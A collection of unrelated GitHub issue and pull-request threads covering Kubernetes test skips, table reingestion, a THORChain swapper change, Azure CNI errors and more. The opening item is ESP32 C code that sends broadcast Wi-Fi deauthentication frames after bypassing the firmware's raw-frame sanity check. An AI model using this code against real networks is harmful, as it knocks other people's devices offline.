By the way, thank you for taking the time to help me out. I know this isn't necessarily related to your project, but this is the only other place I have see someone talking about getting an ESP32 to send deauthentication frames.
Code
#include <stdio.h>
#include "sdkconfig.h"
#include "freertos/FreeRTOS.h"
#include "freertos/task.h"
#include "esp_log.h"
#include "esp_err.h"
#include "esp_system.h"
#include "esp_spi_flash.h"
#include "esp_wifi.h"
#include "esp_wifi_types.h"

static uint8_t original_mac_ap[6];

const wifi_promiscuous_filter_t filt = {.filter_mask=WIFI_PROMIS_FILTER_MASK_MGMT | WIFI_PROMIS_FILTER_MASK_DATA};

static const uint8_t deauth_frame_default[] = {
    0xc0, 0x00, 0x3a, 0x01,
    0xff, 0xff, 0xff, 0xff, 0xff, 0xff,
    0xCE, 0xCC, 0x45, 0x69, 0xEB, 0x14,
    0xCE, 0xCC, 0x45, 0x69, 0xEB, 0x14,
    0xf0, 0xff, 0x02, 0x00
};

static void wifi_event_handler(void *event_handler_arg, esp_event_base_t event_base, int32_t event_id, void *event_data){

}

int ieee80211_raw_frame_sanity_check(int32_t arg, int32_t arg2, int32_t arg3){
    printf("Sanity check bypass called!\n");
    return 0;
}

void wsl_bypasser_send_raw_frame(const uint8_t *frame_buffer, int size){
    esp_wifi_80211_tx(WIFI_IF_AP, frame_buffer, size, false);
}

static void wifi_init_apsta(){

    wifi_init_config_t wifi_init_config = WIFI_INIT_CONFIG_DEFAULT();

    esp_wifi_init(&wifi_init_config);
    esp_wifi_set_promiscuous_filter(NULL);
    esp_wifi_set_promiscuous(true);
    esp_wifi_set_max_tx_power(78);
    esp_wifi_set_storage(WIFI_STORAGE_RAM);
    esp_wifi_set_mode(WIFI_MODE_APSTA);
    esp_wifi_set_channel(11, WIFI_SECOND_CHAN_NONE);

    esp_wifi_start();
}

void app_main(void)
{
    printf("Hello world!\n");

    printf("ESP-IDF version is: ");
    printf(esp_get_idf_version());
    printf("\n");

    wifi_init_apsta();

    sleep(0.1);

    for (int i = 0; i < 10; i++) {
        printf("Sending deauth...\n");
        wsl_bypasser_send_raw_frame(deauth_frame_default, sizeof(deauth_frame_default));
        sleep(1);
    }

    for (int i = 10; i >= 0; i--) {
        printf("Restarting in %d seconds...\n", i);
        vTaskDelay(1000 / portTICK_PERIOD_MS);
    }
    printf("Restarting now.\n");
    fflush(stdout);
    esp_restart();

}


[BEAM-9333] Add DataCatalogPipelineOptionsRegistrar

Register DataCatalogPipelineOptions so its options can be set from the command line.

R: @kennknowles


Reingest tables

Now that most of the Xatu clickhouse tables are using merge trees, we can reupload the tables to S3 to automatically have duplicates removed.
Progress:

[ ] beacon_api_eth_v1_beacon_committee
[ ] beacon_api_eth_v1_events_blob_sidecar
[ ] beacon_api_eth_v1_events_block
[ ] beacon_api_eth_v1_events_chain_reorg
[ ] beacon_api_eth_v1_events_contribution_and_proof
[x] beacon_api_eth_v1_events_finalized_checkpoint
[ ] beacon_api_eth_v1_events_head
[ ] beacon_api_eth_v1_events_voluntary_exit
[ ] beacon_api_eth_v1_proposer_duty
[ ] beacon_api_eth_v1_validator_attestation_data
[ ] beacon_api_eth_v2_beacon_block
[ ] mempool_transaction

beacon_api_eth_v1_events_finalized_checkpoint has been deleted and is in the process of reuploading

beacon_api_eth_v1_events_blob_sidecar on all networks has been deleted and is in the process of reuploading

beacon_api_eth_v1_events_block on all networks has been deleted and is in the process of reuploading

beacon_api_eth_v1_events_finalized_checkpoint has completed it's upload.

beacon_api_eth_v1_events_chain_reorg on all networks has been deleted and is in the process of reuploading

beacon_api_eth_v1_events_blob_sidecar has completed it's upload.

mempool_transaction on all networks has been deleted and is in the process of reuploading

beacon_api_eth_v1_events_chain_reorg has completed its upload.

beacon_api_eth_v1_events_block has completed its upload.

beacon_api_eth_v1_events_contribution_and_proof has been deleted on all networks and is in the process of reuploading.

beacon_api_eth_v1_events_head has been deleted on all networks and is in the process of reuploading.

beacon_api_eth_v1_events_voluntary_exit has been deleted on all networks and is in the process of reuploading.

beacon_api_eth_v1_proposer_duty has been deleted on all networks and is in the process of reuploading.

beacon_api_eth_v1_validator_attestation_data has been deleted on all networks and is in the process of reuploading.

beacon_api_eth_v1_beacon_committee has been deleted on all networks and is in the process of reuploading.

beacon_api_eth_v1_events_voluntary_exit has completed its upload.

beacon_api_eth_v1_events_contribution_and_proof has completed its upload.

beacon_api_eth_v1_proposer_duty has completed its upload.

beacon_api_eth_v2_beacon_block has been deleted on all networks and is in the process of reuploading.

beacon_api_eth_v1_validator_attestation_data has completed its upload.

beacon_api_eth_v2_beacon_block has completed its upload.

mempool_transaction has completed its upload.

beacon_api_eth_v1_beacon_committee has completed its upload.


Make use to ginkgo's new Skip()

The following kinds of early returns or failures have been replaced with skips:

not supported by the current platform
requires at least 2 nodes

Ginkgo now verbosely prints out what tests were skipped at runtime.
This will allow reduced capability providers (like vagrant or local docker) to skip tests for functionality they don't plan to support.
Long term, we should try to make it more clear while features are required for minimal compatibility, and which are added by specific providers.

Blocks #9681

ok to test

Assigning to @ixdy. /cc @quinton-hoole @mbforbes @jlowdermilk

Example verbose output of a test skipped at runtime:
$ export KUBERNETES_PROVIDER=vagrant
$ export NUM_MINIONS=2
$ ./cluster/kube-up.sh
...
$ go run ./hack/e2e.go -v -test -check_version_skew=false '--test_args=--ginkgo.focus=Networking.*should.function.for.intra-pod.communication'
2015/06/22 15:28:12 Running: get status
Vagrant doesn't need special preparations for e2e tests
Client Version: version.Info{Major:"0", Minor:"19+", GitVersion:"v0.19.3-739-g4317bd7464ce09-dirty", GitCommit:"4317bd7464ce0911b504f2d4e03ba7665934e046", GitTreeState:"dirty"}
Server Version: version.Info{Major:"0", Minor:"19+", GitVersion:"v0.19.1-696-gcdd0cf8a8083fe", GitCommit:"cdd0cf8a8083fe8ce2089baf4878046de7011727", GitTreeState:"clean"}
Vagrant doesn't need special preparations for e2e tests
2015/06/22 15:28:13 Running: Ginkgo tests
Setting up for KUBERNETES_PROVIDER="vagrant".
Vagrant doesn't need special preparations for e2e tests
KUBE_MASTER_IP: <IP_ADDRESS>
>>> testContext.KubeConfig: /Users/karl/.kube/config
INFO: Waiting up to 10m0s for all pods (need at least 0) in namespace 'default' to be running and ready
INFO: 1 / 1 pods in namespace 'default' are running and ready (5 seconds elapsed)
Running Suite: Kubernetes e2e suite
===================================
Random Seed:<PHONE_NUMBER> - Will randomize all specs
Will run 1 of 89 specs

SSSSSSSSSSS
------------------------------
Networking
  should function for intra-pod communication
  /Users/karl/workspace/k8s-master/src/github.com/GoogleCloudPlatform/kubernetes/_output/local/go/src/github.com/GoogleCloudPlatform/kubernetes/test/e2e/networking.go:210
[BeforeEach] Networking
  /Users/karl/workspace/k8s-master/src/github.com/GoogleCloudPlatform/kubernetes/_output/local/go/src/github.com/GoogleCloudPlatform/kubernetes/test/e2e/framework.go:47
STEP: Creating a kubernetes client
>>> testContext.KubeConfig: /Users/karl/.kube/config
STEP: Building a namespace api object
INFO: Waiting up to 2m0s for service account default to be provisioned in ns e2e-tests-nettest-s25o3
INFO: Get service account default in ns e2e-tests-nettest-s25o3 failed, ignoring for 5s: serviceaccounts "default" not found
INFO: Service account default in ns e2e-tests-nettest-s25o3 found. (5.009651789s)
STEP: Waiting for a default service account to be provisioned in namespace
INFO: Waiting up to 2m0s for service account default to be provisioned in ns e2e-tests-nettest-s25o3
INFO: Service account default in ns e2e-tests-nettest-s25o3 found. (2.336314ms)
[BeforeEach] Networking
  /Users/karl/workspace/k8s-master/src/github.com/GoogleCloudPlatform/kubernetes/_output/local/go/src/github.com/GoogleCloudPlatform/kubernetes/test/e2e/networking.go:51
STEP: Executing a successful http request from the external internet
[It] should function for intra-pod communication
  /Users/karl/workspace/k8s-master/src/github.com/GoogleCloudPlatform/kubernetes/_output/local/go/src/github.com/GoogleCloudPlatform/kubernetes/test/e2e/networking.go:210
[AfterEach] Networking
  /Users/karl/workspace/k8s-master/src/github.com/GoogleCloudPlatform/kubernetes/_output/local/go/src/github.com/GoogleCloudPlatform/kubernetes/test/e2e/framework.go:48
STEP: Destroying namespace "e2e-tests-nettest-s25o3" for this suite.

S [SKIPPING] [5.330 seconds]
Networking
/Users/karl/workspace/k8s-master/src/github.com/GoogleCloudPlatform/kubernetes/_output/local/go/src/github.com/GoogleCloudPlatform/kubernetes/test/e2e/networking.go:212
  should function for intra-pod communication [It]
  /Users/karl/workspace/k8s-master/src/github.com/GoogleCloudPlatform/kubernetes/_output/local/go/src/github.com/GoogleCloudPlatform/kubernetes/test/e2e/networking.go:210

  Skipping test which is broken for vagrant (See https://github.com/GoogleCloudPlatform/kubernetes/issues/3580)

  /Users/karl/workspace/k8s-master/src/github.com/GoogleCloudPlatform/kubernetes/_output/local/go/src/github.com/GoogleCloudPlatform/kubernetes/test/e2e/networking.go:77
------------------------------
SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS
Ran 0 of 89 Specs in 5.331 seconds
SUCCESS! -- 0 Passed | 0 Failed | 0 Pending | 89 Skipped PASS

Ginkgo ran 1 suite in 10.786970547s
Test Suite Passed

Added 3 util methods: SkipUnlessNodeCountIsAtLeast, SkipIfProviderIs, and SkipUnlessProviderIs
Found and updated a few more tests that were using providerIs.
Fixed the one case that required gce and not aws.

DO WANT Skip()
On Mon, Jun 22, 2015 at 10:25 PM, Kubernetes Bot<EMAIL_ADDRESS>wrote:

GCE e2e build/test passed for commit c435d81
https://github.com/GoogleCloudPlatform/kubernetes/commit/c435d81aff7547edb29d5a5f91de894ce0b23f58
.

Build Log
https://storage.cloud.google.com/kubernetes-jenkins/pr-logs/c435d81aff7547edb29d5a5f91de894ce0b23f58/kubernetes-pull-build-test-e2e-gce/832/build-log.txt
Test Artifacts
https://console.developers.google.com/storage/browser/kubernetes-jenkins/pr-logs/c435d81aff7547edb29d5a5f91de894ce0b23f58/kubernetes-pull-build-test-e2e-gce/832/_artifacts/
Internal Jenkins Results
http://goto.google.com/prkubekins/job/kubernetes-pull-build-test-e2e-gce//832

—
Reply to this email directly or view it on GitHub
https://github.com/GoogleCloudPlatform/kubernetes/pull/10197#issuecomment-114331603
.

All comments have been addressed. How's it look, @ixdy ?

Sorry for the delay. This generally LG, aside from a few nits - thanks so much for adding this!

also, this needs to be rebased.

Rebased. Fixed comment issues.

Rebased. Probably want to run the CI e2e tests again to verify.

@k8s-bot Test this please

Aargh - Jenkins e2e is backed up.  Forge ahead!  LGTM.  ok-to-merge

Jenkins is back up: https://github.com/jenkinsci/ghprb-plugin/issues/117

roping in @roberthbailey for second LGTM

Very unfortunate typo above:
Jenkins is BACKED up (i.e. broken/delayed): jenkinsci/ghprb-plugin#117

LGTM.
FYI @jlowdermilk @mbforbes @zmerlynn @cjcullen One of the test names changed which may require some tweaks to our jenkins configuration for selecting which tests need to be run.

Thanks for your patience sticking with this @karlkfi; just waiting for our CI system(s) to come back. Note to next oncall: please ensure this passes Shippable/Jenkins before merging.
Also, @ixdy, will you need to update #10078 as is implied by https://github.com/GoogleCloudPlatform/kubernetes/pull/10197#issuecomment-115432583 ?

@k8s-bot test this please
PR e2e may be recovering. still tracking down the issues.
I will update my PR too.

CI seems happy.
Ran 49 of 90 Specs in 290.864 seconds
SUCCESS! -- 49 Passed | 0 Failed | 2 Pending | 39 Skipped

Ginkgo ran 1 suite in 5m1.164943417s
Test Suite Passed

@mbforbes -- "All is well -- 2 successful checks".


Enhance post-processing config options

So far, the post-processing config has been relatively limited to practical settings that are required for graph functionality. Now that a wider range of useful categorical plots can be produced with the help of more flexible sorting, filtering, and scaling features, the introduction of more cosmetic or quality of life settings would not go amiss. Some previously suggested features include:

user-specified x-axis label orientation (e.g. horizontal by default, with the option of vertical to prevent long labels from overlapping, see #213)
a toggle to automatically save a plot to PNG (and also perhaps a toggle to forgo automatically saving a plot to HTML)
a toggle to dump a csv file of selected dataframe (or at some other stage after sorting)
a toggle to drop rows with missing/NaN values (see #253)
more convenient ways to select series values, particularly the ability to select all values in a series column (e.g. series: [["series_col",*]])
change optional list fields to no longer be required in the config (e.g. config["series"] --> config.get("series") and respond appropriately if None)

I could work on csv export of the dataframe since it is also going to be used for the Babelstream if it is OK ?


question: release cycle

What is the release cycle of the NuGet package to nuget.org?
The latest release was 5 months ago and now master is 53 commits behind develop.
I would like to use the latest fix in develop branch.
The readme.md says that I can use https://pkgs.dev.azure.com/aloneguid/AllPublic/_packaging/storagenet/nuget/v3/index.json feed for develop branch, but it is unavailable: {"$id":"1","innerException":null,"message":"The feed with ID 'storagenet' doesn't exist.","typeName":"Microsoft.VisualStudio.Services.Feed.WebApi.FeedIdNotFoundException, Microsoft.VisualStudio.Services.Feed.WebApi","typeKey":"FeedIdNotFoundException","errorCode":0,"eventId":3000}

There's no specific release cycle, I'm trying to release as soon as there is enough features, but haven't been on this project for a few months due to other arrangements. Master is now up to date with develop.
I think preview nuget feed is broken, something to fix.


Add a MOTD feature

Add a "message of the day" feature that fetches the content of the wiki page at https://github.com/zephyrproject-rtos/zephyr/wiki/Merge-List-MOTD and displays it on the page if it's not empty. As in: if the content is not "empty", the GitHub wiki does not allow pushing an actual empty page.
--
Hey I think this is safe from XSS since it uses textContent but please chime in if you know more about it, I don't really have much experience on that front. HTML tags are printed as text, Emojis are displays (sorry) updates are delayed by 5mins or so server side, does not seem like I can do much about it.
Dark demo:

Light demo:

cc @zephyrproject-rtos/release

@aescolar hey the wiki idea was really good, unfortunately there seems to be no way of accessing the wiki repository metadata with the GitHub API, was hoping to get data for adding a "updated at time X by Y", but that does not seem to be possible, but I can get the raw data so that will do.

Thanks @fabiobaltieri :)

@aescolar hey the wiki idea was really good, unfortunately there seems to be no way of accessing the wiki repository metadata with the GitHub API, was hoping to get data for adding a "updated at time X by Y", but that does not seem to be possible, but I can get the raw data so that will do.

The wiki is just a Git repo. We could perhaps extract metadata from there?
https://github.com/zephyrproject-rtos/zephyr.wiki.git

The wiki is just a Git repo. We could perhaps extract metadata from there?
https://github.com/zephyrproject-rtos/zephyr.wiki.git

It is indeed but the data does not seem to be accessible from the GH APIs (for example I can use https://api.github.com/repos/zephyrproject-rtos/zephyr/contents/README.rst for the main repository, no such thing for the wiki), so the alternative would have been to clone it and generate the text server side, but then it would only update the text when the dashboard script iself run and I would have had to parse the commit metadata from the git log anyway. To be totally honest if I had realized that the server cache was there I would have gone that way, saved me from some javascript mysery, but now it's done client side I think it may be ok.


deploy to loadtest to rotate circleci keys

Draft PR to deploy to loadtest so the circleci key doesn't expire

Warnings

:warning:
Please add the JIRA issue key to the PR title (e.g. MB-123)

  Generated by :no_entry_sign: dangerJS against 79b710e0185959b14a3a5d3e727d78a5fbffe36a


Better integration between CORTO and MONET readme

Have a better integration between the different README files, also try with new person to independently try to use the repository from the readme's alone

I believe that the constructor of the body class should allow to load a .blend file (possibly from monet) instead of simply creating a cube by default if no .blend is provided. @MattiaPugliatti @carminebuonagura


Adds Hello World Method and Visualizer

@HSapers, this PR is based on your original implementation of the method and viz.
They've been linted (easy on my clean local working tree), and I added a call to your visualizer in make run.
I've rebased in the changes to master since you first started working on this, so the two branches should merge without any conflicts.
It looks like your original changes also removed the conda build config files, so this PR closes #3 for now.
It also supersedes and closes https://github.com/HSapers/q2-decontam/pull/1, the original version.
Co-authored-by: Haley Sapers<EMAIL_ADDRESS>

Next steps:

Approve the CI workflow on this PR. That will allow the linter to run.
Review the changeset here to make sure nothing unexpected is going on
Test locally (e.g. with make run - as you get unit tests set up, the CI apparatus can run them for you and you can skip this)

If everything looks good:

feel free to squash/merge into master
close your original PR if necessary. This may happen automagically when this PR is merged.


Tsconfig zh

Add

copy for zh
allowSyntheticDefaultImports
esModuleInterop

They are very confusing options. So I have translated them first.

Good luck, you can decide yourself when you want to merge 👍🏻

Is everything ok?

Sounds cool to me - you can tell the bot to merge when you feel good 👍🏻

( That said, my recommendation is to delete the English ones - then you know you have the latest versions when you translate them ( #1275 for example just added and amended a bunch ) )

There's no new changes(only remove other files). And no more append comment.
So (I'm not sure it's work).
LGTM.


feat: swapper remove thorchain smart contract limitations

Description
⚠ Ideally blocked by

[x] https://github.com/shapeshift/web/pull/7495
[x]  https://github.com/shapeshift/web/pull/7497

This PR removes the smart contract limitations on THORChain swapper.
Note: While swaps are working here and funds are indeed received on the correct address (either same address for same chain or manual receive address for different EVM chain/non-EVM chain), the Txid is currently wrong, and swap status is borked as a result. This is not introduced by this PR as a specificity of THORChain swapper, and all swappers are currently affected - captured in https://github.com/shapeshift/web/issues/7505.
TODO:

- [x] remove sc checks
- [x] make wc wallet checks smort a la Ledger/MM snaps: a smart contract wallet may *not* support all EVM chains
- [x] Not a concern of this PR. This issue already exists in develop, see [issue](https://github.com/shapeshift/web/issues/7505) and [PoC](https://github.com/shapeshift/web/pull/7506) ~~ensure proper Txid vs. safe Tx hash after all signers have signed - try and use https://docs.safe.global/sdk/api-kit + swapper THOR Tx status thingie~~
- [x] Ensure SwapOut (and `SwapIn` by extension) is happy

Pull Request Type

[ ] :bug: Bug fix (Non-breaking Change: Fixes an issue)
[ ] :hammer_and_wrench: Chore (Non-breaking Change: Doc updates, pkg upgrades, typos, etc..)
[x] :nail_care: New Feature (Breaking/Non-breaking Change)

Issue (if applicable)

tackles https://github.com/shapeshift/web/issues/7272

Risk

High Risk PRs Require 2 approvals

High. This is swapper.

What protocols, transaction types or contract interactions might be affected by this PR?

Testing

Note @shapeshift/operations: what we mean by E2E here is swap executed and executing proper on-chain, we're having the wrong Txid here, hence no Tx status detection. This isn't a specificy of THORChain. To check the Tx on-chain in Viewblock, get the final Txid from your SAFE after the last signer signs (i.e "Transaction hash" vs. "Safe hash" in the Tx view on SAFE UI), and search for it on Viewblock, ensuring you strip the 0x prefix.

Using a sc wallet, same-EVM-chain THORChain swaps are happy E2E
Using a sc wallet, cross-chain L1 THORChain swaps (with a custom receive address) are happy E2e
Using a sc wallet, L1 to long-tail THORChain swaps are happy
Using a sc wallet, long-tail to L1 THORChain swaps are happy (note: the only long-tail contract atm is mainnet Uniswap, so your long-tail token, and by extension, your SAFE has to be on mainnet. Don't derp like I did and plan enough gas (~15-20 bucks ETH for a THOR long-tail at the time of writing) for the final signer, or you'll have to go with the whole cancellation madness.

Engineering

☝🏽

Operations

☝🏽

Screenshots (if applicable)
Using a sc wallet, same-EVM-chain THORChain swaps are happy E2E

Inbound

https://jam.dev/c/af7d4942-c8a6-48de-8630-68cde2ea87ce

Outbound

Using a sc wallet, cross-chain L1 THORChain swaps (with a custom receive address) are happy E2e
https://jam.dev/c/ca2f6397-b994-4721-9b4a-ce2e0aa5846d
Using a sc wallet, L1 to long-tail THORChain swaps are happy

Inbound

https://jam.dev/c/323476fc-bf0b-4bf3-9ac4-e2d2ed438023

Outbound

Using a sc wallet, long-tail to L1 THORChain swaps are happy

Inbound

https://jam.dev/c/465e7ba5-a6df-4938-a27b-822c3aa778de

Outbound

Code looks sane, pending runtime tests

https://dev.thorchain.org/protocol-development/chain-clients/evm-chains.html#admonition-warning
https://discord.com/channels/838986635756044328/839001804812451873/1267945668325150761
I just hit this case during testing. This would imply to me that we still want to limit against using a smart contract for the receive address as it would be hard to determine if a payabal fallback function would result in costing >2300 gas or not...

one more cleanup I think we can add in ManualAddressEntry
    const useReceiveAddressArgs = useMemo(
      () => ({
        fetchUnchainedAddress: Boolean(wallet && isLedger(wallet)),
      }),
      [wallet],
    )
    const { manualReceiveAddress } = useReceiveAddress(useReceiveAddressArgs)

    const shouldShowManualReceiveAddressInput = useMemo(() => {
      if (shouldForceManualAddressEntry) return true
      if (manualReceiveAddress) return false
      // Ledger "supports" all chains, but may not have them connected
      if (wallet && isLedger(wallet)) return !buyAssetAccountIds.length
      // We want to display the manual address entry if the wallet doesn't support the buy asset chain
      return !walletSupportsBuyAssetChain
    }, [
      buyAssetAccountIds.length,
      manualReceiveAddress,
      wallet,
      walletSupportsBuyAssetChain,
      shouldForceManualAddressEntry,
    ])

This will ensure the manual address entry is only displayed if shouldForceManualAddressEntry is true (thorchain evm native sc receive) or not having a manualReceiveAddress. Falling back to exisiting wallet checks. No need for active quote check.
With change:

Without change:

This will ensure the manual address entry is only displayed if shouldForceManualAddressEntry is true (thorchain evm native sc receive) or not having a manualReceiveAddress. Falling back to exisiting wallet checks. No need for active quote check.

That sounds sane to me conceptually @kaladinlight - and still looks good at runtime:

sc - custom sc receive addy native asset receive

sc - custom sc receive addy native asset receive (THOR)

MM

MM - custom sc receive addy native asset receive (THOR)

1d7c47f935


Debug

What this PR does / why we need it:
Special notes for your reviewer:
Release note:

/test pull-kubesecondarydns-e2e-k8s

/test pull-kubesecondarydns-e2e-k8s

/test pull-kubesecondarydns-e2e-k8s

You might want to add please what happened on CI when there was no dot

You might want to add please what happened on CI when there was no dot and no DOMAIN

** server can't find nic1.vmi-sec-v7tgz.secondary-test-frwp6.vm.kubevirt-prow-jobs.svc.cluster.local: SERVFAIL
kubevirt-prow-jobs.svc.cluster.local domain was appended.

/approve


Fixed 1-23 cni build failure

Issue #, if available:
Description of changes:

Fixes cp: cannot stat '1-23/ATTRIBUTION.txt': No such file or directory error in build-1-23-postsubmit jobs (example). This PR, which split CNI into release branches, caused this issue: https://github.com/aws/eks-distro/pull/1157

By submitting this pull request, I confirm that you can use, modify, copy, and redistribute this contribution, under the terms of your choice.

/approve


Add iterator access for entries

A wrapper function that made it easy to iterate through metadata was already available in the broker interface:
broker
    .map_metadata(|metadata| proto::Metadata::from(metadata))
    .await

This has been generalized to iterate over entries instead (i.e. not only metadata) as that will be useful when in the kuksa.val.v1 interface for example:
broker
    .map_entries(|entry| {
        // Extract stuff from all entries (including metadata)
    }).await

broker
    .filter_map_entries(|entry| {
        // Extract stuff from some entries (including metadata)
    }).await

LGTM just one question. Will filter_map_entries get used cause currently I see not how it gets used. And just to confirm the adaptions get only used in grpc/sdv_databroker_v1 because in the grpc/kuksa_val_v1 the feature is not implemented yet - am I right?

Correct (on both counts). The reason for adding it (filter_map_entries etc) is that it would have made implementing #641 and similar functionality easier to implement. That PR is already merged, and added very interface specific code to broker.rs. That code can be moved out to live along the rest of the interface specific code when this PR is merged.


Update NetworkPolicy docs for v1

Fixes #3934
@caseydavenport ok?

For 1.7 Features: set Milestone to 1.7 and Base Branch to release-1.7

I can't set the milestone...

This change is

This LGTM.
@danwinship what do you think about a section which mentions how to maintain v1beta1 semantics across upgrades?

I'd be fine with that although I'm not sure where upgrade-related stuff belongs in the fancy new docs organization... It's covered in the release notes already:
NetworkPolicy has been moved from `extensions/v1beta1` to the new
`networking.k8s.io/v1` API group. The structure remains unchanged from
the beta1 API.

The `net.beta.kubernetes.io/network-policy` annotation on Namespaces
to opt in to isolation has been removed. Instead, isolation is now
determined at a per-pod level, with pods being isolated if there is
any NetworkPolicy whose spec.podSelector targets them. Pods that are
targeted by NetworkPolicies accept traffic that is accepted by any of
the NetworkPolicies (and nothing else), and pods that are not targeted
by any NetworkPolicy accept all traffic by default.

Action Required:

When upgrading to Kubernetes 1.7 (and a network plugin that supports
the new NetworkPolicy v1 semantics), to ensure full behavioral
compatibility with v1beta1:

    1. In Namespaces that previously had the "DefaultDeny" annotation,
       you can create equivalent v1 semantics by creating a
       NetworkPolicy that matches all pods but does not allow any
       traffic:

           kind: NetworkPolicy
           apiVersion: networking.k8s.io/v1
           metadata:
             name: default-deny
           spec:
             podSelector:

       This will ensure that pods that aren't matched by any other
       NetworkPolicy will continue to be fully-isolated, as they were
       before.

    2. In Namespaces that previously did not have the "DefaultDeny"
       annotation, you should delete any existing NetworkPolicy
       objects. These would have had no effect before, but with v1
       semantics they might cause some traffic to be blocked that you
       didn't intend to be blocked.

How to maintain v1beta1 semantics across upgrades could be a Task.


To be considered: offer a merge helper function for slices to append only if an element is missing

It is very situational and thus still needs to be thought through, if conjungo should offer that. one can always write a custom merge function and append to its type.
Right now, if Overwrite is set, mergeSlice will always append the full source to target. If Overwrite is false, target stays as is.
It would be nice to be able to define, that a specific slice type will append only missing elements. A thought further, this might be resource inefficient since all source elements need to be compared to all target elements. Similiar to how costly MergeSliceByField is as well

first quick put together, does not consider pointers to elements.
func mergeSliceAppendIfMissing(t, s reflect.Value, o *conjungo.Options) (reflect.Value, error) {
	// Loop through both slices and try to find the field matching
Next:
	for i := 0; i < s.Len(); i++ {
		for j := 0; j < t.Len(); j++ {
			elemValT := t.Index(j)
			elemValS := s.Index(i)

			// TODO: we could also check if the type implements comparabale, so we don't have to deep equal, which would be faster for those types
			if reflect.DeepEqual(elemValT.Interface(), elemValS.Interface()) {
				continue Next
			}
		}

		// If never continued to Next, no match has been found and just append it
		t = reflect.Append(t, s.Index(i))
	}

	return t, nil
}

first quick put together, does not consider pointers to elements.
func mergeSliceAppendIfMissing(t, s reflect.Value, o *conjungo.Options) (reflect.Value, error) {
	// Loop through both slices and try to find the field matching
Next:
	for i := 0; i < s.Len(); i++ {
		for j := 0; j < t.Len(); j++ {
			elemValT := t.Index(j)
			elemValS := s.Index(i)

			// TODO: we could also check if the type implements comparabale, so we don't have to deep equal, which would be faster for those types
			if reflect.DeepEqual(elemValT.Interface(), elemValS.Interface()) {
				continue Next
			}
		}

		// If never continued to Next, no match has been found and just append it
		t = reflect.Append(t, s.Index(i))
	}

	return t, nil
}


Draft helptext for Restricted Notes

Your first restricted example is also in the first list. Not sure if that was intentional!

@awalker4 — Good catch, thank you! I think I fixed in the rebase. Will double check!

Fixed during rebase, thanks for catching though @awalker4!


Espalexa fork not available

Trying to flash the ESP8266 with the RfidShelf.ino sketch but the Espalexa fork is not available.
Page https://github.com/TheNitek/Espalexa gives an error 404.

Thanks for the hint. The documentation was outdated. I just updated it. I hope it works now.


Pagination Text Overflow in Mobile View with

Describe the bug
When using some of the UIO fonts the text in the pagination component overflows when text is a 3 digit number.
To Reproduce
Steps to reproduce the behavior:

Go to a web page with 100 or more paginated pages. For example  Continuing Our work During Covid-19 article on the We Count development site
Turn on UIO "Verdana" font
Inspect page in a mobile view. For example iPhone X.
Scroll down to the pagination component
See error

Expected behavior
Text in pagination component should not overflow
Screenshots
Example with "Verdana" font

Example with "Open Dyslexic" font

Additional context
N/A

Fixed with the merge of the pull request #385.


issue with api token

If we use token instead of login/password there is an issue. It's impossible to launch the exporter

Thanks @Grummfy


WIP: OC.JSONSource: Handle 204 responses

This is causing a failure in the integration tests that I can't wrap my head around cc @dgeb can you take a peek?

The JSONAPISource has been extracted into its own repo: https://github.com/orbitjs/orbit-jsonapi
204 No Content responses should now be handled properly via fetch. See https://github.com/orbitjs/orbit-jsonapi/blob/master/src/jsonapi-source.js#L139-L154


std.experimental.checkedint should support chain assignment.

Cf. bug #21169.

Fixed buildkite failure.

Some checks haven’t completed yet ?
It's several weeks now.


Azure CNI IP for Windows Node addresses exhausted

Is this a request for help?: YES

Is this an ISSUE or FEATURE REQUEST? (choose one): ISSUE
Which release version?: v1.0.2

Which component (CNI/IPAM/CNM/CNS): CNI / IPAM

Which Operating System (Linux/Windows): Windows 10.0.16299.371 (WinBuild.160101.0800)

Hi there!
Having this problem only on my windows node (custom vnet) as running a jenkins slave build on microsoft/nanoserver:1709 says failed to create sandbox.
Windows was deployed via acs-engine v0.15.0
Looking at the kubelet logs.
E0524 15:12:16.688837    4628 cni.go:259] Error adding network: Failed to allocate address: Failed to delegate: Failed to allocate address: No available addresses
E0524 15:12:16.688837    4628 cni.go:227] Error while adding to cni network: Failed to allocate address: Failed to delegate: Failed to allocate address: No available addresses
E0524 15:12:18.421038    4628 remote_runtime.go:92] RunPodSandbox from runtime service failed: rpc error: code = Unknown desc = NetworkPlugin cni failed to set up pod "jenkins-slave-lh941-hwt5j_default" network: Failed to allocate address: Failed to delegate: Failed to allocate address: No available addresses
E0524 15:12:18.421038    4628 kuberuntime_sandbox.go:54] CreatePodSandbox for pod "jenkins-slave-lh941-hwt5j_default(0bd1a2a0-5f64-11e8-bfb5-000d3af4a99e)" failed: rpc error: code = Unknown desc = NetworkPlugin cni failed to set up pod "jenkins-slave-lh941-hwt5j_default" network: Failed to allocate address: Failed to delegate: Failed to allocate address: No available addresses

..
..

E0524 15:51:19.835524    4628 kuberuntime_gc.go:153] Failed to stop sandbox "175039d06f33221e340c8e5946f5271efb02f915169d36032a61385a8c496b46" before removing: rpc error: code = Unknown desc = NetworkPlugin cni failed to teardown pod "jenkins-slave-hwhjq-1wdz1_default" network: Failed to delete endpoint: HNS failed with error : The network was not found.
2018/05/24 15:51:20 Going to send Telemetry report to hostnetagent http://<IP_ADDRESS>/machine/plugins?comp=netagent&type=cnireport
2018/05/24 15:51:20 "Start Flag false Name CNI Version v1.0.2 ErrorMessage Failed to delete endpoint: HNS failed with error : The network was not found.  vnet []
                                Context  SubContext "
2018/05/24 15:51:20 OrchestratorDetails &{  kubectl command failed due to exit status 1}
2018/05/24 15:51:20 OSDetails &{windows    }
2018/05/24 15:51:20 SystemDetails &{0 0 0 0 0 0 }
2018/05/24 15:51:20 InterfaceDetails &{Primary <IP_ADDRESS>/24 <IP_ADDRESS> 00:0d:3a:f4:60:6a vEthernet (Ethernet 3) 30 0 }
2018/05/24 15:51:20 BridgeDetails <nil>
2018/05/24 15:51:20 Send telemetry success 200
2018/05/24 15:51:20 SetReportState succeeded
E0524 15:51:20.365059    4628 cni.go:277] Error deleting network: Failed to delete endpoint: HNS failed with error : The network was not found.
E0524 15:51:20.365689    4628 remote_runtime.go:115] StopPodSandbox "b32575b25eaa5d59f713c85ca4626f5ebf934fa7b639873aaa52bc41443d152b" from runtime service failed: rpc error: code = Unknown desc = NetworkPlugin cni failed to teardown pod "nuget-nuget-64c46c8845-6q7zb_default" network: Failed to delete endpoint: HNS failed with error : The network was not found.
